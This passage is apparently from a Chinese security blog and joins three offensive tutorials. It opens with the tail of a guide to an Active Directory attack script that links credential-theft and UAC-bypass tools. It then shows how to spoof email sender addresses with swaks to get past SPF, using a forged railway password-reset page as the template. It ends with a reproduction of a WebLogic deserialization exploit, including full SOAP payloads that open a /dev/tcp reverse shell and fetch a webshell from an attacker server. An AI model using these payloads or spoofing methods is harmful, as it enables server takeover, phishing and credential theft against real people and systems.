-DisableRealtimeMonitoring $ true”之前加上'#'进行注释它。 它使用以下模块: Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Scripts/Inveigh.ps1 Kerberoast - https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 Bloodhound - https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe Get-GPPP - https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Get-GPPPassword.ps1 PowerUp - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 该脚本将要求以管理员身份运行,,因为它需要这样做。如果您没有管理员权限,它将只运行权限提升模块。如果您被UAC阻止,我建议您运行绕过UAC脚本 https://raw.githubusercontent.com/samratashok/nishang/master/Escalation/Invoke-PsUACme.ps1 运行.ps1之后,它将在正在运行的同一文件夹中创建捕获文件并将其压缩。在脚本结束时,它会删除它创建的所有文件夹(显然除了.zip文件外)。 GPP密码检查和搜索敏感文件需要一段时间,因此,如果这个脚本需要很长时间才能完成,请不要惊讶,这取决于您要搜索的域控制器、开放共享和字符串的数量。如果运行时间太长,请将这些部分注释掉。 用法:PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 0x04 参考文献 https://hausec.com/2018/10/05/windows-privilege-escalation-via-unquoted-service-paths/ https://hausec.com/2018/10/12/the-rise-of-c-and-using-kali-as-a-c2-server-with-silenttrinity/ https://github.com/BloodHoundAD/BloodHound https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/ https://github.com/fox-it/BloodHound.py https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf https://github.com/GoFetchAD/GoFetch https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py https://www.blackhillsinfosec.com/a-toast-to-kerberoast/ https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ https://github.com/GhostPack/Rubeus https://github.com/GhostPack/Rubeus#asreproast https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ https://github.com/dirkjanm/PrivExchange https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/ https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/ https://www.varonis.com/blog/kerberos-attack-silver-ticket/ https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html https://github.com/Kevin-Robertson/Powermad https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://www.youtube.com/watch?v=RUbADHcBLKg https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be https://github.com/byt3bl33d3r/CrackMapExec https://github.com/danielbohannon/Invoke-Obfuscation https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ https://github.com/hausec/ADAPE-Script https://github.com/SpiderLabs/Responder https://github.com/Kevin-Robertson/Inveigh https://hashkiller.co.uk/Tools/HashcatGUI https://github.com/fox-it/mitm6 https://hausec.com/how-to-set-up-ntlmrelayx-py/ https://github.com/byt3bl33d3r/CrackMapExec https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc https://github.com/hausec/ADAPE-Script
  23. 0x00 swaks简介 Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护。 目前Swaks托管在私有svn存储库中。官方项目页面是http://jetmore.org/john/code/swaks/ 下载安装:(kali系统下自带,如果出错,可使用以下地址下载安装) v20181104.0发行版:http://jetmore.org/john/code/swaks/files/swaks-20181104.0.tar.gz 前提条件:yum install perl (centos下) tar zxvf swaks-20181104.0.tar.gz cd swaks-20181104.0. ./swaks 0x01 Swaks使用 1.基本使用语法: 1).swaks --to [email protected] //测试邮箱的连通性; root@localhost swaks-20181104.0]# ./swaks --to [email protected] *** MX Routing not available: requires Net::DNS. Using localhost as mail server === Trying localhost:25... === Connected to localhost. <- 220 localhost.localdomain ESMTP Postfix -> EHLO localhost <- 250-localhost.localdomain <- 250-PIPELINING <- 250-SIZE 10240000 <- 250-VRFY <- 250-ETRN <- 250-ENHANCEDSTATUSCODES <- 250-8BITMIME <- 250 DSN -> MAIL FROM:<root@localhost> <- 250 2.1.0 Ok -> RCPT TO:<[email protected]> <- 250 2.1.5 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Date: Thu, 09 May 2019 18:24:15 +0800 -> To: [email protected] -> From: root@localhost -> Subject: test Thu, 09 May 2019 18:24:15 +0800 -> Message-Id: <20190509182415.044457@localhost> -> X-Mailer: swaks v20181104.0 jetmore.org/john/code/swaks/ -> -> This is a test mailing -> -> -> . <- 250 2.0.0 Ok: queued as 056576152155 -> QUIT <- 221 2.0.0 Bye === Connection closed with remote host. 前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件 2).参数说明(这里只是简单的罗列了一些,至于更加具体的内容可以使用--help进行查看了解) --from [email protected] //发件人邮箱; --ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证 --body "http://www.baidu.com" //引号中的内容即为邮件正文; --header "Subject:hello" //邮件头信息,subject为邮件标题 --data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送 2.伪造发送 : 1)发送简单内容 (QQ的邮箱被SPF拦截,网易的可发送成功) [root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com --from wenqi×@gmail.com --body 诸葛先生,别来无恙~ --header "Subject: 来自大司马的问候" --server mail.smtp2go.com -p 2525 -au 用户名 -ap 密码 #这里需要到www.smtp2go.com下注册一个免费的发送的邮箱服务器的账号。如果不加--server则会显示错误“MX路由不可用: 使用localhost作为邮件服务器,需要设置Net :: DNS。 === Trying mail.smtp2go.com:2525... === Connected to mail.smtp2go.com. <- 220 mail.smtp2go.com ESMTP Exim 4.91 Thu, 09 May 2019 10:42:22 +0000 -> EHLO localhost <- 250-mail.smtp2go.com Hello localhost [171.223.206.218] <- 250-SIZE 52428800 <- 250-8BITMIME <- 250-DSN <- 250-PIPELINING <- 250-AUTH CRAM-MD5 PLAIN LOGIN <- 250-CHUNKING <- 250-STARTTLS <- 250-PRDR <- 250 HELP -> AUTH LOGIN <- 334 VXNlcm5hbWU6 -> YmFja2xpb24= <- 334 UGFzc3dvcmQ6 -> YWpWMmVtTnljRFp5ZWpobw== <- 235 Authentication succeeded -> MAIL FROM:<[email protected]> <- 250 OK -> RCPT TO:<[email protected]> <- 250 Accepted <[email protected]> -> DATA <- 354 Enter message, ending with "." on a line by itself -> Date: Thu, 09 May 2019 18:42:21 +0800 -> To: [email protected] -> From: [email protected] -> Subject: 来自大司马的问候 -> Message-Id: <20190509184221.044782@localhost> -> X-Mailer: swaks v20181104.0 jetmore.org/john/code/swaks/ -> -> 诸葛先生,别来无恙~ -> -> -> . <- 250 OK id=1hOgVO-RyuJx4-LX -> QUIT <- 221 mail.smtp2go.com closing connection === Connection closed with remote host. 2)发送邮件模板 模板文件由邮箱中"显示邮件原文" ,另存为 readmail.txt,删除 Received,To相关内容,具体参考高级用法。 [root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com --from wenqin×@gamil.com --data test.eml --header "Subject: 网上购票系统-用 户密码找回" --server mail.smtp2go.com -p 2525 -au 用户名 -ap 密码 3)附加附件 [root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com --from wenqi×@gmail.com --body 诸葛先生,别来无恙~ --header "Subject: 来自大司马的问候" --attach 等级保护.docx --server mail.smtp2go.com -p 2525 -au 用户名 -ap 密码 4).复杂邮件 swaks --to <要测试的邮箱> --from <被伪造的邮箱> --ehlo <网址> --body <邮件内容> --header <邮件标题> [root@localhost swaks-20181104.0]# ./swaks --to [email protected] --from [email protected] --ehlo freebuf.com --body hello --header "Subject: hello" –from <要显示的发件人邮箱> –ehlo <伪造的邮件ehlo头> –body <邮件正文> –header <邮件头信息,subject为邮件标题> 在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok 5)如果您的localhost无法发送邮件,您可以使用以下命令指定可靠的SMTP服务器: swaks --to [email protected] --server smtp.example.com 3.高级用法 点击查看邮件原文,然后将邮件原文复制,另存为test.eml文件 对test.eml文件进行修改:to:后面的目标邮箱即可 [root@localhost swaks-20181104.0]# ./swaks --to backli×@163.com --from wenqin×@gamil.com --data test.eml --header "Subject: 网上购票系统-用 户密码找回" --server mail.smtp2go.com -p 2525 -au 用户名 -ap 密码 === Trying mail.smtp2go.com:2525... === Connected to mail.smtp2go.com. <- 220 mail.smtp2go.com ESMTP Exim 4.91 Thu, 09 May 2019 11:33:21 +0000 -> EHLO localhost <- 250-mail.smtp2go.com Hello localhost [171.223.206.218] <- 250-SIZE 52428800 <- 250-8BITMIME <- 250-DSN <- 250-PIPELINING <- 250-AUTH CRAM-MD5 PLAIN LOGIN <- 250-CHUNKING <- 250-STARTTLS <- 250-PRDR <- 250 HELP -> AUTH LOGIN <- 334 VXNlcm5hbWU6 -> YmFja2x× <- 334 UGFzc3dvcmQ6 -> YWpWMmVtTnljRFp5Z× <- 235 Authentication succeeded -> MAIL FROM:<wenqin×@gamil.com> <- 250 OK -> RCPT TO:<back×@163.com> <- 250 Accepted <bac×@163.com> -> DATA <- 354 Enter message, ending with "." on a line by itself -> Received: from mail.12306.cn (unknown [124.127.44.247]) -> by newmx31.qq.com (NewMx) with SMTP id -> for <601462×@qq.com>; Sun, 06 Jan 2019 12:40:30 +0800 -> X-QQ-FEAT: y37167hFrfVQgRwaJgHKCRxOzlAGmr/AUask8Gt3aaw= -> X-QQ-MAILINFO: MHG2h55yn1llklKTjNwQJdtfp46IVGVTPzA2xPoaUP1h+EXLeI+swrHhT -> mpCCV5gt0hGnIzMreYVhczG4URIQzkNwhHU6RpKU98dM9WIcUCqTnKVA+/bP9Cm4+epY5N1 -> rCpl5zs0xdiDi/Z/GS/ebiwHPp6QSatTZA== -> X-QQ-mid: mx31t1546749631tggruynog -> X-QQ-ORGSender: [email protected] -> Received: from mail.12306.cn (unknown [10.1.214.138]) -> by mail.12306.cn (Postfix) with ESMTP id 4C16720797 -> for <6014×[email protected]>; Sun, 6 Jan 2019 12:40:32 +0800 (CST) -> Date: Sun, 6 Jan 2019 12:40:30 +0800 (CST) -> From: "[email protected]" <[email protected]> -> To: "backl×@163.com" <backlio×@163.com> -> Message-ID: <[email protected]> -> Subject: 网上购票系统-用户密码找回 -> MIME-Version: 1.0 -> Content-Type: multipart/alternative; -> boundary="----=_Part_18623781_1540198882.1546749630360" -> -> ------=_Part_18623781_1540198882.1546749630360 -> Content-Type: text/html; charset=gbk -> Content-Transfer-Encoding: quoted-printable -> -> <!DOCTYPE html> -> <html> -> <head> -> <meta charset=3D"utf-8"> -> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge,chrome=3D1"> -> <title>12306=CD=A8=D6=AA=D3=CA=BC=FE</title> -> <meta name=3D"description" content=3D""> -> <meta name=3D"keywords" content=3D""> -> <link href=3D"" rel=3D"stylesheet"> -> </head> -> <body> -> =09<table cellspacing=3D"0" cellpadding=3D"0" width=3D"760px" -> =09=09style=3D"border-spacing: 0; color: #333333; border: 1px solid #f1f1f1= -> ; margin-left: auto; margin-right: auto;"> -> =09=09<tr> -> =09=09=09<td width=3D"760"> -> =09=09=09=09<img src=3D"http://mobile.12306.cn/weixin/resources/weixin/imag= -> es/mail/mail_top.jpg" width=3D"760" height=3D"275"> -> =09=09=09</td> -> =09=09</tr> -> =09=09<tr> -> =09=09=09<td width=3D"720" -> =09=09=09=09style=3D"padding-left: 20px; padding-right: 20px; background: u= -> rl(http://mobile.12306.cn/weixin/resources/weixin/images/mail/mail_train.jp= -> g); background-position: bottom right; background-repeat: no-repeat;"> -> =09=09=09=09<table cellspacing=3D"0" cellpadding=3D"0" width=3D"720px" -> =09=09=09=09=09style=3D"border-spacing: 0; color: #333333;"> -> =09=09=09=09=09<tr> -> =09=09=09=09=09=09<td width=3D"720" -> =09=09=09=09=09=09=09style=3D"font-size: 16px; height: 40px; font-weight: b= -> old;"> -> =09=09=09=09=09=09=09=D7=F0=BE=B4=B5=C4 <span style=3D"color: #ff764c;">=CE= -> =C4=BA=A3=B8=D5=CF=C8=C9=FA=A3=BA</span> -> =09=09=09=09=09=09</td> -> =09=09=09=09=09</tr> -> =09=09=09=09=09<tr> -> =09=09=09=09=09=09<td width=3D"720"> -> =09=09=09=09=09=09=09<div style=3D"line-height: 20px; font-size: 12px;">=C4= -> =FA=BA=C3=A3=A1</div> -> =09=09=09=09=09=09=09<div style=3D"line-height: 20px; font-size: 12px;">=C4= -> =FA=D4=DA2019=C4=EA01=D4=C206=C8=D5 12=CA=B140=B7=D6=CC=E1=BD=BB=D5=D2=BB= -> =D8=C3=DC=C2=EB=C7=EB=C7=F3=A3=AC=C7=EB=B5=E3=BB=F7=CF=C2=C3=E6=B5=C4=C1=B4= -> =BD=D3=D0=DE=B8=C4=D3=C3=BB=A7wen129=B5=C4=C3=DC=C2=EB:</div> -> =09=09=09=09=09=09</td> -> =09=09=09=09=09</tr> -> =09=09=09=09=09<tr> -> =09=09=09=09=09=09<td width=3D"720" style=3D"padding-top: 10px; padding-bot= -> tom: 10px;"> -> =09=09=09=09=09=09=09<div style=3D"border-top: 1px dashed #e9ecf0; border-b= -> ottom: 1px dashed #e9ecf0; color: #000000; font-size: 14px; padding-top: 10= -> px; padding-bottom: 10px;"> -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; width:720px; color= -> : #000000; padding-top: 5px; padding-bottom: 5px; font-weight: bold;"> -> =09=09=09=09=09=09=09=09=09<a href=3Dhttps://kyfw.12306.cn/otn//forgetPassw= -> ord/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d634f06f0f1&lostTimeToDb= -> =3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B1238FBC>https://kyfw.12= -> 306.cn/otn//forgetPassword/changePassWord?uuId=3D5a3c9813-f6f6-4b6c-b7e7-6d= -> 634f06f0f1&lostTimeToDb=3DF4AC92B54775FF543B1CDA2D8EB76EC9566489C1E9535098B= -> 1238FBC</a> -> =09=09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09=09=09 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa= -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;"> -> =09=09=09=09=09=09=09=09=09(=C8=E7=B9=FB=C4=FA=CE=DE=B7=A8=B5=E3=BB=F7=D5= -> =E2=B8=F6=C1=B4=BD=D3=A3=AC=C7=EB=BD=AB=B4=CB=C1=B4=BD=D3=B8=B4=D6=C6=B5=BD= -> =E4=AF=C0=C0=C6=F7=B5=D8=D6=B7=C0=B8=BA=F3=B7=C3=CE=CA) -> =09=09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09=09=09 -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa= -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;"> -> =09=09=09=09=09=09=09=09=09=CE=AA=C1=CB=B1=A3=D6=A4=C4=FA=D5=CA=BA=C5=B5=C4= -> =B0=B2=C8=AB=D0=D4=A3=AC=B8=C3=C1=B4=BD=D3=D3=D0=D0=A7=C6=DA=CE=AA24=D0=A1= -> =CA=B1=A3=AC=B2=A2=C7=D2=B5=E3=BB=F7=D2=BB=B4=CE=BA=F3=BD=AB=CA=A7=D0=A7! -> =09=09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa= -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;"> -> =09=09=09=09=09=09=09=09=09=C9=E8=D6=C3=B2=A2=C0=CE=BC=C7=C3=DC=C2=EB=B1=A3= -> =BB=A4=CE=CA=CC=E2=BD=AB=B8=FC=BA=C3=B5=D8=B1=A3=D5=CF=C4=FA=B5=C4=D5=CA=BA= -> =C5=B0=B2=C8=AB=A1=A3 -> =09=09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa= -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;"> -> =09=09=09=09=09=09=09=09=09=C8=E7=B9=FB=C4=FA=CE=F3=CA=D5=B5=BD=B4=CB=B5=E7= -> =D7=D3=D3=CA=BC=FE=A3=AC=D4=F2=BF=C9=C4=DC=CA=C7=C6=E4=CB=FB=D3=C3=BB=A7=D4= -> =DA=B3=A2=CA=D4=D5=CA=BA=C5=C9=E8=D6=C3=CA=B1=B5=C4=CE=F3=B2=D9=D7=F7=A3=AC= -> =C8=E7=B9=FB=C4=FA=B2=A2=CE=B4=B7=A2=C6=F0=B8=C3=C7=EB=C7=F3=A3=AC=D4=F2=CE= -> =DE=D0=E8=D4=D9=BD=F8=D0=D0=C8=CE=BA=CE=B2=D9=D7=F7=A3=AC=B2=A2=BF=C9=D2=D4= -> =B7=C5=D0=C4=B5=D8=BA=F6=C2=D4=B4=CB=B5=E7=D7=D3=D3=CA=BC=FE=A1=A3 -> =09=09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09=09=09<div style=3D"line-height: 20px; color: #000000; pa= -> dding-top: 5px; padding-bottom: 5px; font-weight: bold;"> -> =09=09=09=09=09=09=09=09=09=C8=F4=C4=FA=B5=A3=D0=C4=D5=CA=BA=C5=B0=B2=C8=AB= -> =A3=AC=BD=A8=D2=E9=C4=FA=C1=A2=BC=B4=B5=C7=C2=BC=A3=AC=BD=F8=C8=EB=A1=B0=CE= -> =D2=B5=C412306=A1=B1=A3=AC=C3=DC=C2=EB=D0=DE=B8=C4=D6=D0=D0=DE=B8=C4=C3=DC= -> =C2=EB=A1=A3 -> =09=09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09=09</div> -> =09=09=09=09=09=09</td> -> =09=09=09=09=09</tr> -> =09=09=09=09=09<tr> -> =09=09=09=09=09=09<td width=3D"720"> -> =09=09=09=09=09=09=09<table cellspacing=3D"0" cellpadding=3D"0" width=3D"72= -> 0px" -> =09=09=09=09=09=09=09=09style=3D"border-spacing: 0; color: #333333;"> -> =09=09=09=09=09=09=09=09<tr> -> =09=09=09=09=09=09=09=09=09<td></td> -> =09=09=09=09=09=09=09=09=09<td width=3D"200" -> =09=09=09=09=09=09=09=09=09=09style=3D"text-align: center; height: 24px; fo= -> nt-size: 12px;"> -> =09=09=09=09=09=09=09=09=09=09<img src=3D"http://mobile.12306.cn/weixin/res= -> ources/weixin/images/mail/mail_logo.jpg" -> =09=09=09=09=09=09=09=09=09=09alt=3D"logo" width=3D"20" height=3D"20" -> =09=09=09=09=09=09=09=09=09=09style=3D"vertical-align: bottom; margin-right= -> : 10px;">=D6=D0=B9=FA=CC=FA=C2=B7=BF=CD=BB=A7=B7=FE=CE=F1=D6=D0=D0=C4 -> =09=09=09=09=09=09=09=09=09</td> -> =09=09=09=09=09=09=09=09</tr> -> =09=09=09=09=09=09=09=09<tr> -> =09=09=09=09=09=09=09=09=09<td></td> -> =09=09=09=09=09=09=09=09=09<td width=3D"200" -> =09=09=09=09=09=09=09=09=09=09style=3D"text-align: center; height: 24px; fo= -> nt-size: 12px;">2019=C4=EA01=D4=C206=C8=D5</td> -> =09=09=09=09=09=09=09=09</tr> -> =09=09=09=09=09=09=09</table> -> =09=09=09=09=09=09</td> -> =09=09=09=09=09</tr> -> =09=09=09=09=09<tr> -> =09=09=09=09=09=09<td width=3D"720" style=3D"padding-top: 10px; padding-bot= -> tom: 15px;"> -> =09=09=09=09=09=09=09<img src=3D"http://mobile.12306.cn/weixin/resources/we= -> ixin/images/mail/mail_line.jpg" alt=3D""> -> =09=09=09=09=09=09</td> -> =09=09=09=09=09</tr> -> =09=09=09=09</table> -> =09=09=09</td> -> =09=09</tr> -> =09</table> -> </body> -> </html> -> -> ------=_Part_18623781_1540198882.1546749630360-- -> -> -> . <- 250 OK id=1hOhIj-RyuRWW-5t -> QUIT <- 221 mail.smtp2go.com closing connection === Connection closed with remote host. 0x02 smtp2go配置 这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。 注册地址:https://www.smtp2go.com/ (邮箱注册)普通账户可以免费发1000封邮件。 这时候需要在设置菜单中的uses中新建一个账号,密码可以自动生成或者自己修改。 0x03 swaks发送邮件 swaks --to wenqing*@gmail.com --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au 用户名 -ap 密码 上面该命令也可绕过gamil邮件发送: 0x04 SPF验证原理 如果mail.smtp2go.com是我的邮件服务器,那么Gmail的服务器收到的源IP也肯定是mail.smtp2go.com的IP。 Gmail中会校验邮件发送者的IP是否存在于smtp.from的域名SPF配置列表里。 而上面这条命令: swaks --to wenqing*@gmail.com --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS> smtp.from就是[email protected],和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。 默认情况下,如果未设置Mail.From也就是邮件头的发件人,则会使用smtp.from作为Mail.From。 0x05 绕过SPF 由于邮件显示的是接头连接器中的来自不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可。 swaks --to wenqi*@gmail.com --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au 用户名 -ap 密码 Gmail中接收到这封邮件后,校验会--from [email protected]中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。 而DKIM是校验邮件完整性的,smtp2go与Gmail中直接使用的是TLS,不会发生什么问题。 0x06 修改标题 swaks支持自定义某些报头,参数如下: swaks --header-<Name> <Value> 如果我想去除梅勒特征,就可以这么做: swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --header "Subject: this is a test " --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> 0x07 Python脚本 #!/usr/bin/python # -*- coding: UTF-8 -*- import smtplib from email.mime.text import MIMEText from email.header import Header mail_host="mail.smtp2go.com" mail_user="" mail_pass="" sender = '[email protected]' receivers = ['[email protected]'] message = MIMEText('Hello World', 'plain', 'utf-8') message['From'] = Header("[email protected]", 'utf-8') message['To'] = Header(receivers[0], 'utf-8') subject = 'SMTP 邮件测试' message['Subject'] = Header(subject, 'utf-8') try: smtpObj = smtplib.SMTP() smtpObj.connect(mail_host, 25) smtpObj.login(mail_user,mail_pass) smtpObj.sendmail(sender, receivers, message.as_string()) print "Success" except smtplib.SMTPException: print "Error" 0x08 总结 经测试,通过swaks 加smtp2go中转服务器可以绕过icloud.com ,aliyun.com,gmail.com,163.com等邮箱的SPF进行邮件伪造。 0x09 参考文献 https://evi1cg.me/archives/Email_spoofing.html https://payloads.online/archivers/2019-05-09/1
  24. 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。目前,官方补丁尚未发布,漏洞细节未公开。CNVD对该漏洞的综合评级为“高危” 0x01 漏洞情况分析 WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 CNVD对该漏洞的综合评级为“高危”。 0x02 漏洞描述 近日,互联网爆出WebLogicwls9-async反序列化远程命令执行漏洞。攻击者利用该漏洞,可在未授权的情况下远程执行命令。该漏洞危害程度为高危(High)。目前,官方补丁尚未发布,漏洞细节未公开。 0x02 漏洞影响范围 1.影响产品: Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 Oracle WebLogic Server12.2.1.1.0 Oracle WebLogic Server12.2.1.2.0 2.影响组件: bea_wls9_async_response.war wsat.war 0x03 漏洞复现 一、liunx下的环境搭建 攻击机: Kali2019 漏洞靶机:ubuntu16.04(docker vulhub) Weblogic10.3.6(wls1036_generic.jar) 1.在Ubuntu 16.04上安装docker和docker-compose: (1).安装PIP curl -s https://bootstrap.pypa.io/get-pip.py | python3 (2).安装docker curl -s https://get.docker.com/ | sh (3).启动docker服务 service docker start (4).安装docker compose pip install docker-compose 2.使用方法 (1).下载漏洞环境项目 git clone https://github.com/vulhub/vulhub.git (2).进入到nexus利用环境 cd vulhub/weblogic/CVE-2017-10271 (3).执行如下命令启动weblogic服务 docker-compose up -d 等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。 3.检测方法 用户可通过访问路径http://ip:port/_async/AsyncResponseService来判断该组件是否开启。若返回如下页面,则此组件开启。请及时采取防护措施 打开URL(http://IP:端口/_async/),提示错误403且含有“From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:”­可判断存在Oracle Oracle WebLogic wls9-async反序列化远程命令执行漏洞。 http://149.248.54.82:7001/_async/ http://149.248.54.82:7001/_async/AsyncResponseService 二、linux下.漏洞利用 1.反弹shell利用: (1).攻击机主机的IP地址如下,并用nc监听反弹端口 (2).通过burpsuit向weblogic服务发送攻击包,如下图所示 POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 853 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> (3).可以看到成功反弹shell 2.上传webshell (1).在kali攻击机上可搭建一个简单的web服务器,然后将webshll.txt放到其下 (2)使用以下poc进行发送攻击 poc1: POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 789 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> poc2: POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 789 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> (3).访问webshell http://149.248.54.82:7001/_async/test.jsp 三、winddows下的环境搭建 1.weblogic12.1.3.0.0安装 下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html 开始安装:(需要java环境支持,记得配置JAVA环境变量) 任选下面其一的安装包,我这里选择的是12.1.3.0 2.打开cmd执行: C:\Program Files\Java\jdk1.8.0_152\bin\java -jar c:\fmw_12.1.3.0.0_wls.jar 用 C:\Program Files\Java\jdk1.8.0_121\bin\ 目录下的 java.exe 来执行weblogic12c的jar包(默认使用顺序,似乎首先用的是C:\Program Files\Java\jdk1.8.0_121\jre\bin\下的java.exe,所以会包jre不是有效的JDK),所以在cmd里要输入 